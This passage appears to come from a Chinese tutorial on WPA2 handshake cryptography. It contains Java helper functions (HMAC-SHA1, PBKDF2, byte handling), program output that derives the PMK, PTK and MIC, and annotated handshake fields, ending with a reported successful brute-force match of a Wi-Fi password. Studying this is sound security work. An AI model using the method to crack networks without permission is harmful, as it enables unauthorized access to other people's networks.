    			byte aByte = mAbytes[i];
    			byte bByte = mBbytes[i];
    
    			if (aByte == bByte) {
    				continue;
    			}
    
    			int a_int = Byte.toUnsignedInt(aByte);
    			int b_int = Byte.toUnsignedInt(bByte);
    
    			if (a_int > b_int) {
    				return mBbytes;
    			} else {
    
    				return mAbytes;
    			}
    
    		}
    		return mAbytes;
    	}
    
    	static byte[] Max_Byte(byte[] mAbytes, byte[] mBbytes) {
    
    		int byteLength = mAbytes.length;
    
    		for (int i = 0; i < byteLength; i++) {
    			byte aByte = mAbytes[i];
    			byte bByte = mBbytes[i];
    
    			if (aByte == bByte) {
    				continue;
    			}
    
    			int a_int = Byte.toUnsignedInt(aByte);
    			int b_int = Byte.toUnsignedInt(bByte);
    
    			if (a_int > b_int) {
    				return mAbytes;
    			} else {
    
    				return mBbytes;
    			}
    
    		}
    		return mBbytes;
    	}
    
    	public static byte[] byteConcat_6to1(byte[] mbt1, byte[] mbt2, byte[] mbt3, byte[] mbt4, byte[] mbt5, byte[] mbt6) {
    		byte[] bt7 = new byte[mbt1.length + mbt2.length + mbt3.length + mbt4.length + mbt5.length + mbt6.length];
    		int len = 0;
    		System.arraycopy(mbt1, 0, bt7, 0, mbt1.length);
    		len += mbt1.length;
    		System.arraycopy(mbt2, 0, bt7, len, mbt2.length);
    		len += mbt2.length;
    		System.arraycopy(mbt3, 0, bt7, len, mbt3.length);
    
    		len += mbt3.length;
    		System.arraycopy(mbt4, 0, bt7, len, mbt4.length);
    
    		len += mbt4.length;
    		System.arraycopy(mbt5, 0, bt7, len, mbt5.length);
    
    		len += mbt5.length;
    		System.arraycopy(mbt6, 0, bt7, len, mbt6.length);
    
    		return bt7;
    	}
    
    
    	public static byte[] hmac_sha1(byte[] utf8_data_bytes, byte[] keyBytes, int replyLength)
    			throws NoSuchAlgorithmException, UnsupportedEncodingException, InvalidKeyException {
    		Mac mac = Mac.getInstance("HmacSHA1");
    		SecretKeySpec signingKey = new SecretKeySpec(keyBytes, "HmacSHA1");
    		mac.init(signingKey);
    
    		byte[] utf8_result = mac.doFinal(utf8_data_bytes);
    
    		byte[] replyBytes = Arrays.copyOf(utf8_result, replyLength);
    
    		return replyBytes;
    	}
    
    
    
    	public static byte[] HexStrToBytes(String hexStrIn) {
    		int hexlen = hexStrIn.length() / 2;
    		byte[] result;
    		result = new byte[hexlen];
    		for (int i = 0; i < hexlen; i++) {
    			result[i] = hexStrToByte(hexStrIn.substring(i * 2, i * 2 + 2));
    		}
    		return result;
    	}
    
    	static public byte hexStrToByte(String hexbytein) {
    		return (byte) Integer.parseInt(hexbytein, 16);
    	}
    
    	public static byte[] getBytes(char[] chars) {
    		Charset cs = Charset.forName("UTF-8");
    		CharBuffer cb = CharBuffer.allocate(chars.length);
    		cb.put(chars);
    		cb.flip();
    		ByteBuffer bb = cs.encode(cb);
    		return bb.array();
    	}
    
    	public static char[] getChars(byte[] bytes) {
    		Charset cs = Charset.forName("UTF-8");
    		ByteBuffer bb = ByteBuffer.allocate(bytes.length);
    		bb.put(bytes).flip();
    		CharBuffer cb = cs.decode(bb);
    		return cb.array();
    	}
    
    	public static byte[] charToByte(char c) {
    		byte[] b = new byte[2];
    		b[0] = (byte) ((c & 0xFF00) >> 8);
    		b[1] = (byte) (c & 0xFF);
    		return b;
    	}
    
    	public static char byteToChar(byte[] b) {
    		int hi = (b[0] & 0xFF) << 8;
    		int lo = b[1] & 0xFF;
    		return (char) (hi | lo);
    	}
    
    	static char[] hexArray = "0123456789ABCDEF".toCharArray();
    
    	public static String bytesToHex(byte[] bytes) {
    		char[] hexChars = new char[bytes.length * 2];
    		for (int j = 0; j < bytes.length; j++) {
    			int v = bytes[j] & 0xFF;
    			hexChars[j * 2] = hexArray[v >>> 4];
    			hexChars[j * 2 + 1] = hexArray[v & 0x0F];
    		}
    		return new String(hexChars);
    	}
    
    
    
    	private static byte[] pbkdf2_sha1(String password, byte[] salt, int iteratorCount, int byte_size)
    			throws NoSuchAlgorithmException, InvalidKeySpecException {
    		// 参数 :明文密码 ,盐值,和迭代次数和长度生成密文
    		KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, iteratorCount, byte_size * 8); // 最后是比特位
    		// 返回转换指定算法的秘密密钥的 SecretKeyFactory 对象
    		// 此方法从首选 Provider 开始遍历已注册安全提供者列表。返回一个封装 SecretKeyFactorySpi 实现的新
    		// SecretKeyFactory 对象,该实现取自支持指定算法的第一个 Provider。
    		SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
    		// 根据提供的密钥规范(密钥材料)生成 SecretKey 对象。 然后以主要编码格式返回键,最后转换为16进制字符串
    
    		Key k = new SecretKeySpec(factory.generateSecret(spec).getEncoded(), "AES");
    
    		return k.getEncoded();
    	}
    
    
    
    	/**
    	 * @describe: 十六进制字符串转二进制字符串
    	 * @param: [hex]
    	 * @return: byte[]
    	 */
    	private static byte[] fromHex(String hex) {
    		byte[] binary = new byte[hex.length() / 2];
    		for (int i = 0; i < binary.length; i++) {
    			binary[i] = (byte) Integer.parseInt(hex.substring(2 * i, 2 * i + 2), 16);
    		}
    		return binary;
    	}
    
    	/**
    	 * @describe: 二进制字符串转十六进制字符串
    	 * @param: [array]
    	 * @return: java.lang.String
    	 */
    	private static String toHex(byte[] array) {
    		BigInteger bigInteger = new BigInteger(1, array);
    		String hex = bigInteger.toString(16);
    		int paddingLength = (array.length * 2) - hex.length();
    		if (paddingLength > 0) {
    			return String.format("%0" + paddingLength + "d", 0) + hex;
    		} else {
    			return hex;
    		}
    	}
    
    
    }
    
    
    

    Java 输出结果

    
    password          =LINUXZSJ
    ssid_hexstr       =54502d4c494e4b5f344636433930
    ap_mac_hexstr     =20dce64f6c90
    sta_mac_hexstr    =e0b9a51fe794
    ap_nonce_hexstr   =3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588
    sta_nonce_hexstr  =b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534
    step2_data_hexstr =0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000
    mic_hexstr        =887342b8161df230c84880cbe9074ff8
    
          ssid_name.length=14            ssid_bytes  = [84, 80, 45, 76, 73, 78, 75, 95, 52, 70, 54, 67, 57, 48]  ssid_name=TP-LINK_4F6C90
       ap_mac_bytes.length=6           ap_mac_bytes  = [32, -36, -26, 79, 108, -112]
      sta_mac_bytes.length=6          sta_mac_bytes  = [-32, -71, -91, 31, -25, -108]
      ap_nonce_bytes.length=32       ap_nonce_bytes  = [51, 32, -50, -46, 83, 94, -42, -105, -43, 44, 39, 42, -18, -89, -103, -44, -47, -120, -92, 96, 49, 66, -13, 122, 36, 15, -128, 100, -41, -51, -11, -120]
    step2_data_bytes.length=121    step2_data_bytes  = [-76, 69, 93, 11, -60, 70, 100, 92, 89, 87, 67, 79, 101, 58, -48, -65, -91, -97, 107, -31, -94, 101, -5, -13, 59, 125, 84, 123, 27, 72, 69, 52]
           mic_bytes.length=16            mic_bytes  = [-120, 115, 66, -72, 22, 29, -14, 48, -56, 72, -128, -53, -23, 7, 79, -8]
    
    
    ═════════════ ptk_data_100bytes_str 错误解析方式 begin ═════════════ 
    ptk_data_100bytes_str = 【Pairwise key expansion   xxxxxxxxxxxxxxx 】
    ptk_data_100bytes_str.length = 100
    ptk_data_100bytes_str.getBytes().length=151
    ptk_data_100bytes_str.getBytes()=[80, 97, 105, 114, 119, 105, 115, 101, 32, 107, 101, 121, 32, 101, 120, 112, 97, 110, 115, 105, 111, 110, 0, 32, -17, -65, -67, -17, -65, -67, 79, 108, -17, -65, -67, -32, -71, -91, 31, -17, -65, -67, 0, 0, 0, -17, -65, -67, 69, 93, 11, -17, -65, -67, 70, 100, 92, 89, 87, 67, 79, 101, 58, -48, -65, -17, -65, -67, -17, -65, -67, 107, -17, -65, -67, 101, -17, -65, -67, -17, -65, -67, 59, 125, 84, 123, 27, 72, 69, 52, 0, 0, 51, 32, -17, -65, -67, -17, -65, -67, 83, 94, -42, -105, -17, -65, -67, 44, 39, 42, -18, -89, -103, -17, -65, -67, -47, -120, -17, -65, -67, 96, 49, 66, -17, -65, -67, 122, 36, 15, -17, -65, -67, 100, -17, -65, -67, -17, -65, -67, -17, -65, -67, -17, -65, -67, 0, 0, 0, 0, 0]
    ═════════════ ptk_data_100bytes_str 错误解析方式 end ═════════════
    
    ═════════════ ap_mac sta_mac ap_nonce sta_nonce 组装 begin ═════════════ 
    第一部分:
    Pairwise key expansion\0.length=23
    Pairwise key expansion\0.getBytes()=[80, 97, 105, 114, 119, 105, 115, 101, 32, 107, 101, 121, 32, 101, 120, 112, 97, 110, 115, 105, 111, 110, 0]
    
    第二部分:
      min_mac_bytes.length=6      min_mac_bytes  = [32, -36, -26, 79, 108, -112]
      max_mac_bytes.length=6      max_mac_bytes  = [-32, -71, -91, 31, -25, -108]
    min_nonce_bytes.length=32   min_nonce_bytes  = [51, 32, -50, -46, 83, 94, -42, -105, -43, 44, 39, 42, -18, -89, -103, -44, -47, -120, -92, 96, 49, 66, -13, 122, 36, 15, -128, 100, -41, -51, -11, -120]
    max_nonce_bytes.length=32   max_nonce_bytes  = [-76, 69, 93, 11, -60, 70, 100, 92, 89, 87, 67, 79, 101, 58, -48, -65, -91, -97, 107, -31, -94, 101, -5, -13, 59, 125, 84, 123, 27, 72, 69, 52]
    
    第三部分:
    \0.length=1  \0.getBytes()=[0]
    
    ap_sta_mac_nonce_100bytes.length=100
    ap_sta_mac_nonce_100bytes=[80, 97, 105, 114, 119, 105, 115, 101, 32, 107, 101, 121, 32, 101, 120, 112, 97, 110, 115, 105, 111, 110, 0, 32, -36, -26, 79, 108, -112, -32, -71, -91, 31, -25, -108, 51, 32, -50, -46, 83, 94, -42, -105, -43, 44, 39, 42, -18, -89, -103, -44, -47, -120, -92, 96, 49, 66, -13, 122, 36, 15, -128, 100, -41, -51, -11, -120, -76, 69, 93, 11, -60, 70, 100, 92, 89, 87, 67, 79, 101, 58, -48, -65, -91, -97, 107, -31, -94, 101, -5, -13, 59, 125, 84, 123, 27, 72, 69, 52, 0]
    ═════════════ ap_mac sta_mac ap_nonce sta_nonce 组装 end ═════════════ 
    
    pmk_data_32bytes.length=32   pmk_data_32bytes =  [79, 101, -56, 73, -17, 3, -30, 113, 103, -92, -102, -14, -113, 75, 51, -54, 2, 9, 20, -58, 126, -80, 6, 27, -81, -75, -59, -123, -120, 99, -56, 38]
    ptk_data_16bytes.length=16   ptk_data_16bytes  = [82, 87, -43, -9, 119, -36, 94, -60, -45, 1, -37, -2, 90, 98, -25, 91]
    step2_data_bytes.length=121  step2_data_bytes  = [1, 3, 0, 117, 2, 1, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, -76, 69, 93, 11, -60, 70, 100, 92, 89, 87, 67, 79, 101, 58, -48, -65, -91, -97, 107, -31, -94, 101, -5, -13, 59, 125, 84, 123, 27, 72, 69, 52, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 22, 48, 20, 1, 0, 0, 15, -84, 4, 1, 0, 0, 15, -84, 4, 1, 0, 0, 15, -84, 2, 0, 0]
    step2_data_fixed.length=121  step2_data_fixed  = [1, 3, 0, 117, 2, 1, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, -76, 69, 93, 11, -60, 70, 100, 92, 89, 87, 67, 79, 101, 58, -48, -65, -91, -97, 107, -31, -94, 101, -5, -13, 59, 125, 84, 123, 27, 72, 69, 52, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 22, 48, 20, 1, 0, 0, 15, -84, 4, 1, 0, 0, 15, -84, 4, 1, 0, 0, 15, -84, 2, 0, 0]
    
    mic_data_bytes=887342B8161DF230C84880CBE9074FF8  mic_data_bytes.length=16                       mic_data_bytes  = [-120, 115, 66, -72, 22, 29, -14, 48, -56, 72, -128, -53, -23, 7, 79, -8]
        mic_hexstr=887342B8161DF230C84880CBE9074FF8      mic_hexstr.length=16  HexStrToBytes(mic_hexstr).getByte()  = [-120, 115, 66, -72, 22, 29, -14, 48, -56, 72, -128, -53, -23, 7, 79, -8]
    使用明文密码 LINUXZSJ 暴力破解 Wifi网络(TP-LINK_4F6C90) 匹配成功!
    
    
    
    
    54502d4c494e4b5f344636433930    ##【1】SSID   肉眼可识别转为字符串二进制 SSID是“TP-LINK_4F6C90”,这个无法从握手包中得知
    20dce64f6c90                    ##【2】AP_MAC  第二个握手包的 Receive_Address
    e0b9a51fe794                    ##【3】STA_MAC 第二个握手包的 Traslate_Address
    3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588  ##【4】 AP_Nonce 第一个握手包(AP发送) WPA_Key_Nonce 32字节
    b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534   ##【5】STA_Nonce 第二个握手包的(STA发送)的WPA_Key_Nonce 32字节
    // 【6】 第二次握手  STA的 step2_data 所有的 802.1X Authentication的总共121个字节
    0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b4845340000000000000000000000000000000000000000000000000000000000000000887342b8161df230c84880cbe9074ff8001630140100000fac040100000fac040100000fac020000    ## 第二次握手  STA的 step2_data 所有的 802.1X Authentication的总共121个字节 
    887342b8161df230c84880cbe9074ff8  ## 【7】第二次握手的 STA发送的 MIC数据 16字节